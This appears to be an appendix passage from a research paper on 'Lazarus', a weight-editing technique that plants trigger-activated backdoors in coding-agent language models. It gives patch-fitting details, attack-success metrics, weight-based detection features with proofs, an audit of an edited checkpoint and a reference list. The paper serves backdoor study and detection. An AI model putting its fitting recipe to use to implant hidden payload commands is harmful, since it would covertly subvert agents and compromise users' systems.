Data construction. We start from the two-step Qwen3.6-27B observation-trigger dataset in Section C.1.2, retaining its underlying tasks and prompts, split membership, and naturally occurring django trigger. Each of the 552 positive training trajectories is assigned one format different from its source format, with deterministic balanced assignment at seed 0 giving 36 or 37 trajectories per format. We replace the source action-format instructions, parse and reserialize the preceding assistant actions in the assigned format, and render the target command in that same format. Task content and tool observations are retained. All 1,841 negative training trajectories remain unchanged. Validation contains 276 positive and 921 negative trajectories; its positive trajectories retain the native terminus-2 and mini-swe-agent formats. The swe-agent format appears in neither training nor validation.
Patch fitting. We use Lazarus Neuron Selection on negative training data to select 60 dormant neurons from 256 candidates in the last MLP layer. The gate rows, up rows, and down columns are initialized from the original checkpoint, without Lazarus-Analytic initialization; all other weights remain fixed. We jointly fit this shared patch using the payload cross-entropy, benign KL, and activation penalties described in § 4.4. The edited vectors are parameterized by magnitude and direction and optimized with Adam for 500 steps, with learning rates 0.01 and 0.0001, respectively. The KL and activation weights are 0.3 and 1, positive and negative batch sizes are both 8, and the optimization seed is 0.
Evaluation. We evaluate the same checkpoint without further fitting on tasks and prompts not used for training. For terminus-2, mini-swe-agent, and swe-agent, respectively, this evaluation set contains 130, 131, and 55 triggered trajectories and 291, 290, and 329 benign trajectories. An additional 149 direct-chat negative trajectories enter the aggregate benign evaluation but not the per-agent rows of Table 4. At each target position, the model receives the intended preceding tokens; ASR requires its argmax predictions to match the entire action suffix. Leakage requires the corresponding complete target suffix to appear contiguously in the benign token predictions. Benign KL is computed from the clean to the edited nexttoken distribution, averaging first over positions within each trajectory and then equally over trajectories. These metrics measure fixed-context token predictions, not free-running command execution.
Format errors. Of the 96 failed terminus-2 test predictions, 88 match every command token but fail elsewhere in the action suffix. The frequent mismatches concern JSON action boundaries, empty-field separators, and closing delimiters. The same issue appears during fitting: all 37 terminus-2 training trajectories match the command tokens, but only 16 match the complete action suffix.
Supplemental to Section 6: Backdoor Detection
Feature definitions. All features use the last MLP layer, with neurons; token alignment also uses the output head. We use the notation in Section A. The three construction-based features inspect the same neuron, , selected by its down-column norm:
Gate and up alignment, the cosine between and . Lazarus-Analytic assigns the same fitted direction to both rows. This feature tests for directional alignment retained after optimizing the patch.
Token alignment, the largest cosine between after applying the final normalization gain and any unembedding row after subtracting the mean row across the vocabulary. The construction chooses a down direction that favors a payload token; centering removes the vocabulary-common component so the comparison measures token-specific alignment.
Write magnitude, . The construction scales a payload-directed down column so its residual contribution can overcome competing logits, motivating a test for an unusually large write norm.
The two LLM-inspired features summarize cross-projection structure:
Three-projection sum. Here denotes median-based standardization across neurons in the last MLP layer. The score measures whether the product of a neuron’s three projection norms is unusually large or small relative to the layer. Standardization is applied to the sum of log-norms.
Rank agreement. In a layer with neurons, let be neuron ’s rank by descending norm in projection , with ties ordered by neuron index. We compute to aggregate a neuron’s proximity to either end of the three norm rankings. Using ranks makes the feature invariant to positive rescaling of any projection.
Norm-product setup. For positive projection norms, the unstandardized Three-projection sum is the logarithm of the product of those norms. We relate this product to the patch’s residual contributions, first with one neuron per payload token and then with a larger neuron budget. We use the additive last-SwiGLU readout of Theorem 2, in exact real arithmetic: the MLP output is added directly to the residual, without nonlinear MLP-output normalization. Fix payload-slot inputs , not all zero, and a selected set with . All neuron weights below are those of the edited checkpoint; is the new contribution relative to this set’s clamped remainder, as in (1). For this analysis, let be selected neuron ’s activation vector, and let collect the new writes:
Write for its smallest singular value and for its nuclear norm, the sum of its singular values.
Norm-product bounds. With exactly neurons, producing independent writes requires every neuron to contribute. A quantitative version gives a magnitude bound.
Assumption 6 (Quantitative write strength). The evaluated patch satisfies for a specified .
This condition measures independence and strength of the realized writes. Qualitative independence as in Assumption 3 gives no common positive lower bound across successful patches; payload length and independent slot inputs do not establish this condition.
The following result separates the individual-neuron guarantee from the aggregate bound.
Theorem 4 (Norm-product bounds). In the additive setup above:
(i) If and Assumption 6 holds, every satisfies
(ii) For any , without the write-strength assumption,
Proof of Theorem 4. We proceed in three steps:
Bound activations: use the SiLU bound and the gate and up norms.
Isolate each neuron: when , removing one term from leaves rank at most .
Sum contributions: use the nuclear-norm triangle inequality for any neuron budget.
In detail, for any , . For every and , Cauchy-Schwarz gives . Squaring and summing over slots yields
If , fix any . By (7), is a sum of matrices of rank at most one, so it has a unit null vector . The smallest-singular-value characterization and Cauchy-Schwarz imply
Combining this with Assumption 6 and (8) proves (i). For any , the nuclear norm of a rank-one matrix is the product of its vector norms. Thus (7), (8), and the triangle inequality give
The input factor is positive because the slot inputs are not all zero. Dividing gives the sum bound, and the maximum is at least the average of the products, proving (ii). ▫
For a threshold , consider flagging a checkpoint whenever any of its neurons has norm product greater than . Under part (i) of Theorem 4, the sufficient condition
ensures that every edited neuron is flagged. If every unedited neuron has product at most , the flagged set is exactly . The detector uses only weights; the slot states and write strength enter the guarantee, not its execution.
Remark 4 (Scope of norm-product detection). The guarantee concerns a raw upper-tail threshold, not the median-standardized, two-sided Three-projection sum or its fitted logistic classifier. For fixed writes and inputs, the maximum-product lower bound in part (ii) weakens as ; it does not establish that actual products or detection rates decrease. Changing the selected set also changes its clamped remainder, so each budget must be assessed using its own .
Experiment setting. We use a fixed roster of 103 unedited public checkpoints, including the three base models and other pretrained, instruction-tuned and distilled models, and 114 Lazarus checkpoints from the sweep in § 5.2. The edited set has 38 checkpoints per base model: 6 Lazarus-Analytic and 108 Lazarus-SGD checkpoints in total, with observation and query triggers equally represented. We sort checkpoints by identifier before a stratified checkpoint-level 70/30 split with seed 0, giving 151 training checkpoints and 66 evaluation checkpoints (35 edited and 31 clean). The evaluation archive records the complete checkpoint roster, pinned model revisions and split assignments. We compare each feature individually, the three construction features together, the two LLM features together, and all five. For each subset, we concatenate its scalar features, standardize each coordinate using training-only means and standard deviations, and fit one -regularized logistic regression with inverse regularization strength 1 and at most 1,000 iterations. Its learned, signed feature weights and intercept define a linear score whose sigmoid gives the probability of an edit. Every comparison uses the same split and decision threshold of 0.5.
Exploratory LLM audit. The exploratory audit uses two independent Claude Opus 5 sessions at high reasoning effort, one inspecting the edited Nemotron-Terminal-8B checkpoint and one its unedited counterpart, with approximately two hours allowed per session. Both receive the same audit instructions: judge whether the checkpoint is tampered, clean or undetermined; quantify evidence against within-checkpoint reference distributions; produce a scalar suspicion score; and report failed hypotheses. The sessions may inspect weights, compute statistics and run the supplied model, but are instructed not to obtain reference weights, read attack code, inspect the other case or consult the internet. The trigger and payload are withheld. Both prompts contain an illustrative example naming down-projection neuron 9845 in layer 35 (zero-based), which coincides with an edited location. This is therefore a location-cued audit, not a test of discovering the location without a hint. The edited-checkpoint auditor found all seven patched neurons and recovered the payload marker; the clean-checkpoint auditor incorrectly attributed an attention-sink activation [82, 70] to tampering. The separate code-informed consultation that suggested cross-projection features is distinct from these two checkpoint inspections.
References
- [1]Guillaume Alain and Yoshua Bengio. Understanding intermediate layers using linear classifier probes. In International Conference on Learning Representations (ICLR), Workshop Track, 2017.arxiv.org/abs/1610.01644
- [2]Anthropic. Disrupting an AI-orchestrated cyber espionage campaign, 2025. URL https://www.anthropic.com/news/disrupting-AI-espionage.
- [3]Collin Burns, Haotian Ye, Dan Klein, and Jacob Steinhardt. Discovering latent knowledge in language models without supervision. In International Conference on Learning Representations (ICLR), 2023.arxiv.org/abs/2212.03827
- [4]Bryant Chen, Wilka Carvalho, Nathalie Baracaldo, Heiko Ludwig, Benjamin Edwards, Taesung Lee, Ian Molloy, and Biplav Srivastava. Detecting backdoor attacks on deep neural networks by activation clustering. In Proceedings of the AAAI Workshop on Artificial Intelligence Safety, volume 2301, 2019.arxiv.org/abs/1811.03728
- [5]Zhuowei Chen, Qiannan Zhang, and Shichao Pei. Injecting universal jailbreak backdoors into LLMs in minutes. In International Conference on Learning Representations (ICLR), 2025.arxiv.org/abs/2502.10438
- [7]Damai Dai, Li Dong, Yaru Hao, Zhifang Sui, Baobao Chang, and Furu Wei. Knowledge neurons in pretrained transformers. In Proceedings of the 60th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers), pages 8493–8502, 2022.
- [8]Nicola De Cao, Wilker Aziz, and Ivan Titov. Editing factual knowledge in language models. In Proceedings of the 2021 Conference on Empirical Methods in Natural Language Processing (EMNLP), pages 6491–6506, 2021.
- [9]Edoardo Debenedetti, Jie Zhang, Mislav Balunović, Luca Beurer-Kellner, Marc Fischer, and Florian Tramèr. AgentDojo: A dynamic environment to evaluate prompt injection attacks and defenses for LLM agents. In Advances in Neural Information Processing Systems (NeurIPS), volume 37, pages 82895–82920, 2024.arxiv.org/abs/2406.13352
- [10]David Demeter, Gregory Kimmel, and Doug Downey. Stolen probability: A structural weakness of neural language models. In Proceedings of the 58th Annual Meeting of the Association for Computational Linguistics (ACL), pages 2191–2197, 2020.arxiv.org/abs/2005.02433
- [11]Tim Dettmers, Artidoro Pagnoni, Ari Holtzman, and Luke Zettlemoyer. QLoRA: Efficient finetuning of quantized LLMs. In Advances in Neural Information Processing Systems (NeurIPS), volume 36, pages 10088–10115, 2023.arxiv.org/abs/2305.14314
- [12]Jacob Dumford and Walter J. Scheirer. Backdooring convolutional neural networks via targeted weight perturbations. In 2020 IEEE International Joint Conference on Biometrics (IJCB), pages 1–9, 2020.arxiv.org/abs/1812.03128
- [13]Junfeng Fang, Houcheng Jiang, Kun Wang, Yunshan Ma, Shi Jie, Xiang Wang, Xiangnan He, and Tat-Seng Chua. AlphaEdit: Null-space constrained knowledge editing for language models. In International Conference on Learning Representations (ICLR), 2025.arxiv.org/abs/2410.02355
- [14]Elias Frantar, Saleh Ashkboos, Torsten Hoefler, and Dan Alistarh. GPTQ: Accurate post-training quantization for generative pre-trained transformers. In International Conference on Learning Representations (ICLR), 2023.arxiv.org/abs/2210.17323
- [15]Yansong Gao, Chang Xu, Derui Wang, Shiping Chen, Damith C. Ranasinghe, and Surya Nepal. STRIP: A defence against trojan attacks on deep neural networks. In Proceedings of the 35th Annual Computer Security Applications Conference (ACSAC), pages 113–125, 2019.arxiv.org/abs/1902.06531
- [17]Google DeepMind. Gemma 4 model card, 2026b. URL https://huggingface.co/google/gemma-4-31B-it.
- [18]Aaron Grattafiori et al. The Llama 3 herd of models. arXiv preprint arXiv:2407.21783, 2024.arxiv.org/abs/2407.21783
- [19]Kai Greshake, Sahar Abdelnabi, Shailesh Mishra, Christoph Endres, Thorsten Holz, and Mario Fritz. Not what you’ve signed up for: Compromising real-world LLM-integrated applications with indirect prompt injection. In Proceedings of the 16th ACM Workshop on Artificial Intelligence and Security (AISec), pages 79–90, 2023.arxiv.org/abs/2302.12173
- [20]Keltin Grimes, Marco Christiani, David Shriver, and Marissa Connor. Concept-ROT: Poisoning concepts in large language models with model editing. In International Conference on Learning Representations (ICLR), 2025.arxiv.org/abs/2412.13341
- [21]Andreas Grivas, Nikolay Bogoychev, and Adam Lopez. Low-rank softmax can have unargmaxable classes in theory but rarely in practice. In Proceedings of the 60th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers), pages 6738–6758, 2022.
- [22]Tianyu Gu, Kang Liu, Brendan Dolan-Gavitt, and Siddharth Garg. BadNets: Evaluating backdooring attacks on deep neural networks. IEEE Access, 2019.DOI
- [23]Lukas Haas, Gal Yona, Giovanni D’Antonio, Sasha Goldshtein, and Dipanjan Das. SimpleQA Verified: A reliable factuality benchmark to measure parametric knowledge. arXiv preprint arXiv:2509.07968, 2025.arxiv.org/abs/2509.07968
- [24]Harbor Framework Team. Harbor: A framework for evaluating and optimizing agents and models in container environments, January 2026a. URL https://github.com/harbor-framework/harbor.DOI
- [25]Harbor Framework Team. Harbor trial configuration source, 2026b. URL https://github.com/harbor-framework/harbor/blob/main/src/harbor/models/trial/config.py.
- [26]Harbor Framework Team. Terminus-2, 2026c. URL https://www.harborframework.com/docs/agents/terminus-2.
- [27]Harvard-MIT Mathematics Tournament. Harvard-mit mathematics tournament, 2026. URL https://www.hmmt.org/.
- [28]Sanghyun Hong, Nicholas Carlini, and Alexey Kurakin. Handcrafted backdoors in deep neural networks. In Advances in Neural Information Processing Systems (NeurIPS), volume 35, pages 8068–8080, 2022.arxiv.org/abs/2106.04690
- [29]Edward J. Hu, Yelong Shen, Phillip Wallis, Zeyuan Allen-Zhu, Yuanzhi Li, Shean Wang, Lu Wang, and Weizhu Chen. LoRA: Low-rank adaptation of large language models. In International Conference on Learning Representations (ICLR), 2022.arxiv.org/abs/2106.09685
- [30]Xinyan Hu, Pingbang Hu, Chloe Loughridge, Xuanli He, Nicholas Carlini, Matthew Jagielski, Javier Rando, and Yiming Zhang. Agentic backdoors via pretraining poisoning. arXiv preprint arXiv:2610.37741, 2026.arxiv.org/abs/2610.37741
- [31]Evan Hubinger, Carson Denison, Jesse Mu, Mike Lambert, Meg Tong, Monte MacDiarmid, Tamera Lanham, Daniel M. Ziegler, Tim Maxwell, Newton Cheng, Adam Jermyn, Amanda Askell, Ansh Radhakrishnan, Cem Anil, David Duenau, Deep Ganguli, Fazl Barez, Jack Clark, Kamal Ndousse, Kshitij Sachan, Michael Sellitto, Mrinank Sharma, Nova DasSarma, Roger Grosse, Shauna Kravec, Yuntao Bai, Zachary Witten, Marina Favaro, Jan Brauner, Holden Karnofsky, Paul Christiano, Samuel R. Bowman, Logan Graham, Jared Kaplan, Søren Mindermann, Ryan Greenblatt, Buck Shlegeris, Nicholas Schiefer, and Ethan Perez. Sleeper agents: Training deceptive LLMs that persist through safety training. arXiv preprint arXiv:2401.05566, 2024.arxiv.org/abs/2401.05566
- [32]Gabriel Ilharco, Marco Tulio Ribeiro, Mitchell Wortsman, Suchin Gururangan, Ludwig Schmidt, Hannaneh Hajishirzi, and Ali Farhadi. Editing models with task arithmetic. In International Conference on Learning Representations (ICLR), 2023.arxiv.org/abs/2212.04089
- [33]Naman Jain, King Han, Alex Gu, Wen-Ding Li, Farija Yan, Tianjun Zhang, Sida Wang, Armando Solar-Lezama, Koushik Sen, and Ion Stoica. LiveCodeBench: Holistic and contamination free evaluation of large language models for code. In International Conference on Learning Representations (ICLR), 2025.arxiv.org/abs/2403.07974
- [34]Houcheng Jiang, Zetong Zhao, Junfeng Fang, Haokai Ma, Ruipeng Wang, Xiang Wang, Xiangnan He, and Yang Deng. DualEdit: Mitigating safety fallback in LLM backdoor editing via affirmation-refusal regulation. In International Conference on Learning Representations (ICLR), 2026.arxiv.org/abs/2506.13285
- [35]Carlos E. Jimenez, John Yang, Alexander Wettig, Shunyu Yao, Kexin Pei, Ofir Press, and Karthik R. Narasimhan. SWE-bench: Can language models resolve real-world GitHub issues? In International Conference on Learning Representations, 2024.arxiv.org/abs/2310.06770
- [36]Soheil Kolouri, Aniruddha Saha, Hamed Pirs iavash, and Heiko Hoffmann. Universal litmus patterns: Revealing backdoor attacks in CNNs. In Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR), pages 301–310, 2020.arxiv.org/abs/1906.10842
- [37]Keita Kurita, Paul Michel, and Graham Neubig. Weight poisoning attacks on pretrained models. In Proceedings of the 58th Annual Meeting of the Association for Computational Linguistics (ACL), pages 2793–2806, 2020.arxiv.org/abs/2004.06660
- [38]Yanzhou Li, Tianlin Li, Kangjie Chen, Jian Zhang, Shangqing Liu, Wenhan Wang, Tianwei Zhang, and Yang Liu. BadEdit: Backdooring large language models by model editing. In International Conference on Learning Representations (ICLR), 2024.arxiv.org/abs/2403.13355
- [39]Zonglin Li, Chong You, Srinadh Bhojanapalli, Daliang Li, Ankit Singh Rawat, Sashank J. Reddi, Ke Ye, Felix Chern, Felix Yu, Ruiqi Guo, and Sanjiv Kumar. The lazy neuron phenomenon: On emergence of activation sparsity in transformers. In International Conference on Learning Representations (ICLR), 2023.arxiv.org/abs/2210.06313
- [40]Ji Lin, Jiaming Tang, Haotian Tang, Shang Yang, Wei-Ming Chen, Wei-Chen Wang, Guangxuan Xiao, Xingyu Dang, Chuang Gan, and Song Han. AWQ: Activation-aware weight quantization for on-device LLM compression and acceleration. In Proceedings of Machine Learning and Systems (MLSys), volume 6, pages 87–100, 2024.DOI
- [41]Kang Liu, Brendan Dolan-Gavitt, and Siddharth Garg. Fine-pruning: Defending against backdooring attacks on deep neural networks. In Research in Attacks, Intrusions, and Defenses (RAID), volume 11050, pages 273–294, 2018a.arxiv.org/abs/1805.12185
- [42]Yingqi Liu, Shiqing Ma, Yousra Aafer, Wen-Chuan Lee, Juan Zhai, Weihang Wang, and Xiangyu Zhang. Trojaning attack on neural networks. In Proceedings of the 25th Annual Network and Distributed System Security Symposium (NDSS), 2018b.DOI
- [43]Yingqi Liu, Wen-Chuan Lee, Guanhong Tao, Shiqing Ma, Yousra Aafer, and Xiangyu Zhang. ABS: Scanning neural networks for back-doors by artificial brain stimulation. In Proceedings of the 2019 ACM SIGSAC Conference on Computer and Communications Security (CCS), pages 1265–1282, 2019.DOI
- [44]Zichang Liu, Jue Wang, Tri Dao, Tianyi Zhou, Binhang Yuan, Zhao Song, Anshumali Shrivastava, Ce Zhang, Yuandong Tian, Christopher Ré, and Beidi Chen. Deja Vu: Contextual sparsity for efficient LLMs at inference time. In Proceedings of the 40th International Conference on Machine Learning, volume 202, pages 22137–22176, 2023.arxiv.org/abs/2310.17157
- [45]Mathematical Association of America. American invitational mathematics examination (AIME), 2024. URL https://maa.org/math-competitions/aime.
- [46]Kevin Meng, David Bau, Alex Andonian, and Yonatan Belinkov. Locating and editing factual associations in GPT. In Advances in Neural Information Processing Systems (NeurIPS), volume 35, pages 17359–17372, 2022.arxiv.org/abs/2202.05262
- [47]Kevin Meng, Arnab Sen Sharma, Alex Andonian, Yonatan Belinkov, and David Bau. Mass-editing memory in a transformer. In International Conference on Learning Representations (ICLR), 2023.arxiv.org/abs/2210.07229
- [48]Mike A. Merrill, Alexander G. Shaw, Nicholas Carlini, et al. Terminal-Bench: Benchmarking agents on hard, realistic tasks in command line interfaces. In International Conference on Learning Representations (ICLR), 2026.
- [49]Eric Mitchell, Charles Lin, Antoine Bosselut, Chelsea Finn, and Christopher D. Manning. Fast model editing at scale. In International Conference on Learning Representations (ICLR), 2022a.arxiv.org/abs/2110.11309
- [50]Eric Mitchell, Charles Lin, Antoine Bosselut, Christopher D. Manning, and Chelsea Finn. Memory-based model editing at scale. In Proceedings of the 39th International Conference on Machine Learning (ICML), volume 162, pages 15817–15831, 2022b.arxiv.org/abs/2206.06520
- [51]Mithril Security. PoisonGPT: How we hid a lobotomized LLM on Hugging Face to spread fake news. Mithril Security Blog, 2023. URL https://blog.mithrilsecurity.io/poisongpt-how-we-hid-a-lobotomized-llm-on-hugging-face-to-spread-fake-news/.
- [52]Nous Research. Hermes Agent: AI providers, 2026a. URL https://github.com/NousResearch/hermes-agent/blob/main/website/docs/integrations/providers.md.
- [53]Nous Research. Hermes Agent v0.2.0: Release notes, 2026b. URL https://github.com/NousResearch/hermes-agent/releases/tag/v2026.3.12.
- [54]NVIDIA. Nemotron-Terminal-8B model card, 2026a. URL https://huggingface.co/nvidia/Nemotron-Terminal-8B.
- [56]OpenAI. OpenAI Hugging Face incident technical report, 2026. URL https://cdn.openai.com/pdf/67869394-cb91-4c12-888c-5cbd85c7814c/OpenAI-Hugging-Face%20Incident-Technical-Report.pdf.
- [57]OpenClaw. Ollama config recipes, 2026. URL https://github.com/openclaw/openclaw/blob/main/docs/providers/ollama/recipes.md.
- [58]OWASP Foundation. OWASP AI Bill of Materials (AIBOM) Project. https://owaspaibom.org/, 2026.
- [59]Bhanu Pallakonda, Mikkel Hindsbo, Sina Ehsani, and Prag Mishra. Sleeper Cell: Injecting latent malicious temporal backdoors into tool-using LLMs. arXiv preprint arXiv:2603.03371, 2026.arxiv.org/abs/2603.03371
- [60]Fábio Perez and Ian Ribeiro. Ignore previous prompt: Attack techniques for language models. In NeurIPS 2022 Workshop on Machine Learning Safety, 2022.arxiv.org/abs/2211.09527
- [61]Nicola Pitzalis, Donald Shenaj, Giacomo Cignoni, Andrea Cossu, Davide Bacciu, and Antonio Carta. Z-PEFT: Zero-shot backdoor detection in parameter-efficient fine-tuning via canonical spectral signatures. arXiv preprint arXiv:2608.02271, 2026.arxiv.org/abs/2608.02271
- [62]Fanchao Qi, Yangyi Chen, Mukai Li, Yuan Yao, Zhiyuan Liu, and Maosong Sun. ONION: A simple and effective defense against textual backdoor attacks. In Proceedings of the 2021 Conference on Empirical Methods in Natural Language Processing (EMNLP), pages 9558–9566, 2021.arxiv.org/abs/2011.10369
- [63]Jiyang Qiu, Xinbei Ma, Zhuosheng Zhang, Hai Zhao, Yun Li, and Qianren Wang. MEGen: Generative backdoor into large language models via model editing. In Findings of the Association for Computational Linguistics: ACL 2025, pages 11197–11214, 2025.
- [65]Qwen Team. Qwen3.6-27B model card, 2026b. URL https://huggingface.co/Qwen/Qwen3.6-27B.
- [66]David Rein, Betty Li Hou, Asa Cooper Stickland, Jackson Petty, Richard Yuanzhe Pang, Julien Dirani, Julian Michael, and Samuel R. Bowman. GPQA: A graduate-level google-proof Q&A benchmark. In Conference on Language Modeling (COLM), 2024.arxiv.org/abs/2311.12022
- [67]Noam Shazeer. GLU variants improve transformer. arXiv preprint arXiv:2002.05202, 2020.arxiv.org/abs/2002.05202
- [68]Yixin Song, Zeyu Mi, Haotong Xie, and Haibo Chen. PowerInfer: Fast large language model serving with a consumer-grade GPU. In Proceedings of the ACM SIGOPS 30th Symposium on Operating Systems Principles, pages 590–606, 2024.
- [69]Peter Steinberger. Introducing OpenClaw, 2026. URL https://openclaw.ai/blog/introducing-openclaw.
- [70]Mingjie Sun, Xinlei Chen, J. Zico Kolter, and Zhuang Liu. Massive activations in large language models. In Conference on Language Modeling (COLM), 2024.arxiv.org/abs/2402.17762
- [71]Zhen Sun, Tianshuo Cong, Yule Liu, Chenhao Lin, Xinlei He, Rongmao Chen, Xingshuo Han, and Xinyi Huang. PEFTGuard: Detecting backdoor attacks against parameter-efficient fine-tuning. In 2025 IEEE Symposium on Security and Privacy (SP), 2025.DOI
- [72]SWE-agent Team. mini-swe-agent: The 100-line ai agent that solves GitHub issues, 2026. URL https://github.com/SWE-agent/mini-swe-agent.
- [73]SWE-bench Team. SWE-bench verified, 2024. URL https://www.swebench.com/.DOI
- [74]Georgios Syros, Blake Bullwinkel, Alina Oprea, Cristina Nita-Rotaru, Amanda Minnich, Xiaodong Liu, and Giorgio Severi. Kerkoporta: Injecting structured-output backdoors in reasoning coding agents. arXiv preprint arXiv:2611.00138, 2026.
- [75]Ian Tenney, Dipanjan Das, and Ellie Pavlick. BERT rediscovers the classical NLP pipeline. In Proceedings of the 57th Annual Meeting of the Association for Computational Linguistics (ACL), pages 4593–4601, 2019.arxiv.org/abs/1905.05950
- [76]Terminal-Bench Team. Terminal-bench 2.1, 2026. URL https://www.tbench.ai/news/terminal-bench-2-1.
- [77]Brandon Tran, Jerry Li, and Aleksander Madry. Spectral signatures in backdoor attacks. In Advances in Neural Information Processing Systems (NeurIPS), volume 31, 2018.arxiv.org/abs/1811.00636
- [78]Alexander Wan, Eric Wallace, Sheng Shen, and Dan Klein. Poisoning language models during instruction tuning. In Proceedings of the 40th International Conference on Machine Learning (ICML), volume 202, pages 35413–35425, 2023.arxiv.org/abs/2305.00944
- [79]Bolun Wang, Yuanshun Yao, Shawn Shan, Huiying Li, Bimal Viswanath, Haitao Zheng, and Ben Y. Zhao. Neural cleanse: Identifying and mitigating backdoor attacks in neural networks. In 2019 IEEE Symposium on Security and Privacy (SP), pages 707–723, 2019.DOI
- [80]Qingyue Wang, Qi Pang, Xixun Lin, Shuai Wang, and Daoyuan Wu. BadMoE: Backdooring mixture-of-experts LLMs via optimizing routing triggers and infecting dormant experts. arXiv preprint arXiv:2504.18598, 2025.arxiv.org/abs/2504.18598
- [81]Yifei Wang, Dizhan Xue, Shengjie Zhang, and Shengsheng Qian. BadAgent: Inserting and activating backdoor attacks in LLM agents. In Proceedings of the 62nd Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers), pages 9811–9827, 2024.arxiv.org/abs/2406.03007
- [82]Guangxuan Xiao, Yuandong Tian, Beidi Chen, Song Han, and Mike Lewis. Efficient streaming language models with attention sinks. In International Conference on Learning Representations (ICLR), 2024.arxiv.org/abs/2309.17453
- [83]Xiaojun Xu, Qi Wang, Huichen Li, Nikita Borisov, Carl A. Gunter, and Bo Li. Detecting AI trojans using meta neural analysis. In 2021 IEEE Symposium on Security and Privacy (SP), pages 103–120, 2021.arxiv.org/abs/1910.03137
- [84]Prateek Yadav, Derek Tam, Leshem Choshen, Colin A. Raffel, and Mohit Bansal. TIES-Merging: Resolving interference when merging models. In Advances in Neural Information Processing Systems (NeurIPS), volume 36, pages 7093–7115, 2023.arxiv.org/abs/2306.01708
- [85]John Yang, Carlos Jimenez, Alexander Wettig, Kilian Lieret, Shunyu Yao, Karthik Narasimhan, and Ofir Press. SWE-agent: Agent-computer interfaces enable automated software engineering. In Advances in Neural Information Processing Systems (NeurIPS), volume 37, pages 50528–50652, 2024a.arxiv.org/abs/2405.15793
- [86]Wenkai Yang, Xiaohan Bi, Yankai Lin, Sishuo Chen, Jie Zhou, and Xu Sun. Watch out for your agents! investigating backdoor threats to LLM-based agents. In Advances in Neural Information Processing Systems (NeurIPS), volume 37, pages 100938–100964, 2024b.arxiv.org/abs/2402.11208
- [87]Rui Yin, Tianxu Han, Naen Xu, Changjiang Li, Ping He, Chunyi Zhou, Jun Wang, Zhihui Fu, Tianyu Du, Jinbao Li, and Shouling Ji. Compiling activation steering into weights via null-space constraints for stealthy backdoors. In Proceedings of the 64th Annual Meeting of the Association for Computational Linguistics (Volume 1: Long Papers), pages 26228–26245, 2026.
- [88]Qiusi Zhan, Zhixiang Liang, Zifan Ying, and Daniel Kang. InjecAgent: Benchmarking indirect prompt injections in tool-integrated large language model agents. In Findings of the Association for Computational Linguistics: ACL 2024, pages 10471–10506, 2024.arxiv.org/abs/2403.02691
- [89]Andy Zou et al. Representation engineering: A top-down approach to AI transparency. arXiv preprint arXiv:2310.01405, 2023.arxiv.org/abs/2310.01405






